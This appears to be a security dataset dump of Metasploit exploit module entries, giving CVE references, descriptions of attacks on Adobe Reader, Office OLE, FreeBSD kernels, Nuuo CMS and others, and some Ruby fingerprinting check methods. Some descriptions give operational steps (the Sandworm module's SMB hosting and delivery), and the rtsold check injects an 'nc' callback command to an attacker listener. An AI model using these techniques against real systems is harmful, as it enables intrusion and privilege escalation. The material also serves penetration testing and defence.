deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Adobe util.printf() Buffer Overflow
Type: exploit
Path: modules/exploits/windows/fileformat/adobe_utilprintf.rb
Platform: win
Disclosure date: 2008-02-08
References: CVE-2008-2992, OSVDB-49520

Description:
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
          < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
          entry, an attacker may be able to execute arbitrary code.
Metasploit Module: MS14-060 Microsoft Windows OLE Package Manager Code Execution
Type: exploit
Path: modules/exploits/windows/fileformat/ms14_060_sandworm.rb
Platform: win
Disclosure date: 2014-10-14
References: CVE-2014-4114, OSVDB-113140, MSB-MS14-060, BID-70419, URL-http://www.isightpartners.com/2014/10/cve-2014-4114/, URL-http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/

Description:
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
          allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows
          Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be
          vulnerable. However, based on our testing, the most reliable setup is on Windows platforms
          running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such
          as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to
          a failure in the CPackage::CreateTempFileName function.

          This module will generate three files: an INF, a GIF, and a PPSX file. You are required to
          set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an
          older version of Windows (such as XP) work best for this because they require little
          configuration to get going. The PPSX file is what you should send to your target.

          In detail, the vulnerability has to do with how the Object Packager 2 component
          (packager.dll) handles an INF file that contains malicious registry changes, which may be
          leveraged for code execution. First of all, Packager does not load the INF file directly.
          As an attacker, you can trick it to load your INF anyway by embedding the file path as
          a remote share in an OLE object. The packager will then treat it as a type of media file,
          and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will
          download it with a CopyFileW call, save it in a temp folder, and pass that information for
          later. The exploit will do this loading process twice: first for a fake gif file that's
          actually the payload, and the second for the INF file.

          The packager will also look at each OLE object's XML Presentation Command, specifically the
          type and cmd property. In the exploit, "verb" media command type is used, and this triggers
          the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd
          property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3"
          is used (again, for the INF file), it will cause the packager to try to find appropriate
          handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that
          will install/run the malicious INF file, and finally give us arbitrary code execution.
Metasploit Module: FeedDemon Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/fileformat/feeddemon_opml.rb
Platform: win
Disclosure date: 2009-02-09
References: CVE-2009-0546, OSVDB-51753, BID-33630, EDB-7995, EDB-8010, EDB-11379

Description:
This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
          is used to import a specially crafted opml file, a buffer overflow occurs allowing
          arbitrary code execution.

          All versions are suspected to be vulnerable. This vulnerability was originally reported
          against version 2.7 in February of 2009.
Metasploit Module: VideoLAN VLC TiVo Buffer Overflow
Type: exploit
Path: modules/exploits/windows/fileformat/videolan_tivo.rb
Platform: win
Disclosure date: 2008-10-22
Authors: MC
References: CVE-2008-4654, OSVDB-49181, BID-31813

Description:
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
          By creating a malicious TY file, a remote attacker could overflow a
          buffer and execute arbitrary code.
Metasploit Module: Cain and Abel RDP Buffer Overflow
Type: exploit
Path: modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
Platform: win
Disclosure date: 2008-11-30
References: CVE-2008-5405, OSVDB-50342, EDB-7329, BID-32543

Description:
This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
          and below. An attacker must send the file to victim, and the victim must open
          the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
Metasploit Module: Adobe Doc.media.newPlayer Use After Free Vulnerability
Type: exploit
Path: modules/exploits/windows/fileformat/adobe_media_newplayer.rb
Platform: win
Disclosure date: 2009-12-14
References: CVE-2009-4324, BID-37331, OSVDB-60980

Description:
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
          Professional versions up to and including 9.2.
Metasploit Module: Magix Musik Maker 16 .mmm Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb
Platform: win
Disclosure date: 2011-04-26
References: CVE-2011-10021, OSVDB-72063, URL-http://www.corelan.be/advisories.php?id=CORELAN-11-002

Description:
This module exploits a stack buffer overflow in Magix Musik Maker 16.
          When opening a specially crafted arrangement file (.mmm) in the application, an
          unsafe strcpy() will allow you to overwrite a SEH handler.  This exploit
          bypasses DEP & ASLR, and works on XP, Vista & Windows 7.  Egghunter is used, and
          might require up to several seconds to receive a shell.
Metasploit Module: Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/fileformat/cytel_studio_cy3.rb
Platform: win
Disclosure date: 2011-10-02
References: CVE-2011-10015, OSVDB-75991, BID-49924, URL-http://aluigi.altervista.org/adv/cytel_1-adv.txt

Description:
This module exploits a stack based buffer overflow found
          in Cytel Studio <= 9.0. The overflow is triggered during the
          copying of strings to a stack buffer of 256 bytes.
Metasploit Module: Nuuo Central Management Authenticated SQL Server SQLi
Type: exploit
Path: modules/exploits/windows/nuuo/nuuo_cms_sqli.rb
Platform: win
Disclosure date: 2018-10-11
References: CVE-2018-18982, URL-https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02, URL-https://seclists.org/fulldisclosure/2019/Jan/51, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt

Description:
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
          This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
          installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
          This module will either use a provided session number (which can be guessed with an auxiliary
          module) or attempt to login using a provided username and password - it will also try the
          default credentials if nothing is provided.
Metasploit Module: Nuuo Central Management Server Authenticated Arbitrary File Upload
Type: exploit
Path: modules/exploits/windows/nuuo/nuuo_cms_fu.rb
Platform: win
Disclosure date: 2018-10-11
References: CVE-2018-17936, URL-https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02, URL-https://seclists.org/fulldisclosure/2019/Jan/51, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt

Description:
The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the
          CMS Server.
          The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\..\)
          characters. Therefore, this function can be abused to overwrite any files in the installation
          drive of CMS Server.

          This vulnerability is exploitable in CMS versions up to and including v2.4.

          This module will either use a provided session number (which can be guessed with an auxiliary
          module) or attempt to login using a provided username and password - it will also try the
          default credentials if nothing is provided.

          This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
          fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
          not execute successfully.
Metasploit Module: Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution
Type: exploit
Path: modules/exploits/windows/backdoor/energizer_duo_payload.rb
Platform: win
Disclosure date: 2010-03-05
References: CVE-2010-0103, OSVDB-62782, US-CERT-VU-154421

Description:
This module will execute an arbitrary payload against
          any system infected with the Arugizer trojan horse. This
          backdoor was shipped with the software package accompanying
          the Energizer DUO USB battery charger.
Metasploit Module: FreeBSD Intel SYSRET Privilege Escalation
Type: exploit
Path: modules/exploits/freebsd/local/intel_sysret_priv_esc.rb
Platform: bsd
Disclosure date: 2012-06-12
References: BID-53856, CVE-2012-0217, EDB-28718, URL-https://www.freebsd.org/security/patches/SA-12:04/sysret.patch, URL-https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/, URL-https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c, URL-https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/, URL-http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc, URL-https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation

Description:
This module exploits a vulnerability in the FreeBSD kernel,
          when running on 64-bit Intel processors.

          By design, 64-bit processors following the X86-64 specification will
          trigger a general protection fault (GPF) when executing a SYSRET
          instruction with a non-canonical address in the RCX register.

          However, Intel processors check for a non-canonical address prior to
          dropping privileges, causing a GPF in privileged mode. As a result,
          the current userland RSP stack pointer is restored and executed,
          resulting in privileged code execution.

          This module has been tested successfully on:

          FreeBSD 8.3-RELEASE (amd64); and
          FreeBSD 9.0-RELEASE (amd64).

Check method (fingerprinting):
kernel_release = cmd_exec('uname -r').to_s
    unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
      return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
    end

    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")

    kernel_arch = cmd_exec('uname -m').to_s
    unless kernel_arch.include?('64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end

    vprint_good("System architecture #{kernel_arch} is supported")

    hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
    unless hw_model.downcase.include?('intel')
      return CheckCode::Safe("#{hw_model} is not vulnerable")
    end

    vprint_good("#{hw_model} is vulnerable")

    CheckCode::Appears("#{hw_model} appears vulnerable to SYSRET privilege escalation")
  end
Metasploit Module: FreeBSD 9 Address Space Manipulation Privilege Escalation
Type: exploit
Path: modules/exploits/freebsd/local/mmap.rb
Disclosure date: 2013-06-18
References: CVE-2013-2171, OSVDB-94414, EDB-26368, BID-60615, URL-http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc

Description:
This module exploits a vulnerability that can be used to modify portions of
          a process's address space, which may lead to privilege escalation.  Systems
          such as FreeBSD 9.0 and 9.1 are known to be vulnerable.

Check method (fingerprinting):
res = cmd_exec('uname -a')
    return Exploit::CheckCode::Appears('FreeBSD 9.0 or 9.1 detected') if res =~ /FreeBSD 9\.[01]/

    Exploit::CheckCode::Safe('Target does not appear to be FreeBSD 9.0 or 9.1')
  end
Metasploit Module: Watchguard XCS FixCorruptMail Local Privilege Escalation
Type: exploit
Path: modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb
Platform: bsd
Disclosure date: 2015-06-29
References: URL-http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf

Description:
This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called
          by root's crontab which can be exploited to run a command as root within 3 minutes.

Check method (fingerprinting):
# Basic check to see if the device is a Watchguard XCS
    res = cmd_exec('uname -a')
    return Exploit::CheckCode::Detected('Target appears to be a WatchGuard XCS device') if res && res.include?('support-xcs@watchguard.com')

    Exploit::CheckCode::Safe('Target does not appear to be a WatchGuard XCS device')
  end
Metasploit Module: FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation
Type: exploit
Path: modules/exploits/freebsd/local/ip6_setpktopt_uaf_priv_esc.rb
Platform: bsd
Disclosure date: 2020-07-07
References: CVE-2020-7457, EDB-48644, URL-https://hackerone.com/reports/826026, URL-https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6, URL-https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch, URL-https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h, URL-https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c

Description:
This module exploits a race and use-after-free vulnerability in the
          FreeBSD kernel IPv6 socket handling. A missing synchronization lock
          in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
          racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.

          This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
          struct in freed memory to achieve arbitrary kernel read/write.

          This module has been tested successfully on:

          FreeBSD 9.0-RELEASE #0 (amd64);
          FreeBSD 9.1-RELEASE #0 r243825 (amd64);
          FreeBSD 9.2-RELEASE #0 r255898 (amd64);
          FreeBSD 9.3-RELEASE #0 r268512 (amd64);
          FreeBSD 12.0-RELEASE r341666 (amd64); and
          FreeBSD 12.1-RELEASE r354233 (amd64).

Check method (fingerprinting):
kernel_version = cmd_exec('uname -v').to_s

    unless kernel_version.include?('FreeBSD')
      return CheckCode::Safe('Target system is not FreeBSD')
    end

    kernel_arch = cmd_exec('uname -m').to_s

    unless kernel_arch.include?('64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end

    vprint_good("System architecture #{kernel_arch} is supported")

    unless select_target(kernel_version)
      return CheckCode::Safe("No target for #{kernel_version}")
    end

    vprint_good("#{kernel_version} appears vulnerable")

    unless command_exists?('cc')
      return CheckCode::Safe('cc is not installed')
    end

    vprint_good('cc is installed')

    CheckCode::Appears("#{kernel_version} appears vulnerable to ip6_setpktopt use-after-free")
  end
Metasploit Module: FreeBSD rtld execl() Privilege Escalation
Type: exploit
Path: modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
Platform: bsd
Disclosure date: 2009-11-30
References: BID-37154, CVE-2009-4146, CVE-2009-4147, URL-https://seclists.org/fulldisclosure/2009/Nov/371, URL-https://c-skills.blogspot.com/2009/11/always-check-return-value.html, URL-https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html, URL-https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/, URL-https://securitytracker.com/id/1023250

Description:
This module exploits a vulnerability in the FreeBSD
          run-time link-editor (rtld).

          The rtld `unsetenv()` function fails to remove `LD_*`
          environment variables if `__findenv()` fails.

          This can be abused to load arbitrary shared objects using
          `LD_PRELOAD`, resulting in privileged code execution.

          This module has been tested successfully on:

          FreeBSD 7.2-RELEASE (amd64); and
          FreeBSD 8.0-RELEASE (amd64).

Check method (fingerprinting):
kernel_release = cmd_exec('uname -r').to_s
    unless kernel_release =~ /^(7\.[012]|8\.0)/
      return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
    end

    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")

    unless command_exists?('cc')
      return CheckCode::Safe('cc is not installed')
    end

    vprint_good('cc is installed')

    unless setuid?(suid_exe_path)
      return CheckCode::Detected("#{suid_exe_path} is not setuid")
    end

    vprint_good("#{suid_exe_path} is setuid")

    CheckCode::Appears("FreeBSD #{kernel_release} with setuid #{suid_exe_path} appears vulnerable")
  end
Metasploit Module: Samba trans2open Overflow (*BSD x86)
Type: exploit
Path: modules/exploits/freebsd/samba/trans2open.rb
Platform: bsd
Disclosure date: 2003-04-07
References: CVE-2003-0201, OSVDB-4469, BID-7294, URL-https://seclists.org/bugtraq/2003/Apr/103

Description:
This exploits the buffer overflow found in Samba versions
          2.2.0 to 2.2.8. This particular module is capable of
          exploiting the flaw on x86 Linux systems that do not
          have the noexec stack option set.
Metasploit Module: FreeBSD rtsold/rtsol DNSSL Command Injection
Type: exploit
Path: modules/exploits/freebsd/misc/rtsold_dnssl_cmdinject.rb
Platform: unix
Disclosure date: 2025-12-16
References: CVE-2025-14558, URL-https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc, URL-https://github.com/JohannesLks/CVE-2025-14558

Description:
This module exploits a command injection vulnerability (CVE-2025-14558)
          in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not
          validate the domain search list options provided in IPv6 Router
          Advertisement messages; the option body is passed to resolvconf(8)
          unmodified. resolvconf(8) is a shell script which does not validate
          its input. A lack of quoting means that shell commands passed as input
          to resolvconf(8) may be executed, enabling command injection via $()
          substitution in the DNSSL domain name fields.

          This exploit requires Layer 2 adjacency to the target (same network
          segment) and root privileges to send raw packets. Router advertisement
          messages are not routable and should be dropped by routers, so the
          attack does not cross network boundaries.

Check method (fingerprinting):
check_pcaprub_loaded

    # Use unspecified address to select default outbound interface
    lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0')
    lport = datastore['LPORT'] || rand(44444..45444)
    service = nil
    client = nil

    begin
      service = Rex::Socket::TcpServer.create(
        'LocalHost' => lhost,
        'LocalPort' => lport,
        'SSL' => false,
        'Context' => {
          'Msf' => framework,
          'MsfExploit' => self
        }
      )

      vprint_status("Started check listener on #{lhost}:#{lport}")

      check_cmd = "nc -w 5 #{lhost} #{lport}"
      vprint_status("Sending RA packets with check payload: #{check_cmd}")

      send_ra_packets(check_cmd)

      vprint_status('Waiting for connection...')

      Timeout.timeout(10) do
        client = service.accept
        if client
          vprint_good("Connection received from #{client.peerhost}")
          return CheckCode::Vulnerable('Target connected back via encoded payload')
        end
      end
    rescue Timeout::Error
      return CheckCode::Safe('No connection received within timeout')
    rescue RuntimeError => e
      return CheckCode::Unknown("Pcaprub error: #{e}")
    rescue StandardError => e
      return CheckCode::Unknown("Error during check: #{e.class} - #{e}")
    ensure
      client.close if client
      service.close if service
    end

    CheckCode::Safe('The rtsold did not respond, target might not be vulnerable')
  end
Metasploit Module: Citrix NetScaler SOAP Handler Remote Code Execution
Type: exploit
Path: modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
Platform: bsd
Disclosure date: 2014-09-22
References: URL-http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html

Description:
This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
          The vulnerability exists in the SOAP handler, accessible through the web interface. A
          malicious SOAP requests can force the handler to connect to a malicious NetScaler config
          server. This malicious config server can send a specially crafted response in order to
          trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
          code with the privileges of the web server running the SOAP handler. This module has been
          tested successfully on the NetScaler Virtual Appliance 450010.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m
      return Exploit::CheckCode::Detected('Citrix NetScaler SOAP endpoint detected')
    end

    return Exploit::CheckCode::Unknown('No response received from target') unless res

    Exploit::CheckCode::Safe('Citrix NetScaler SOAP endpoint not detected')
  end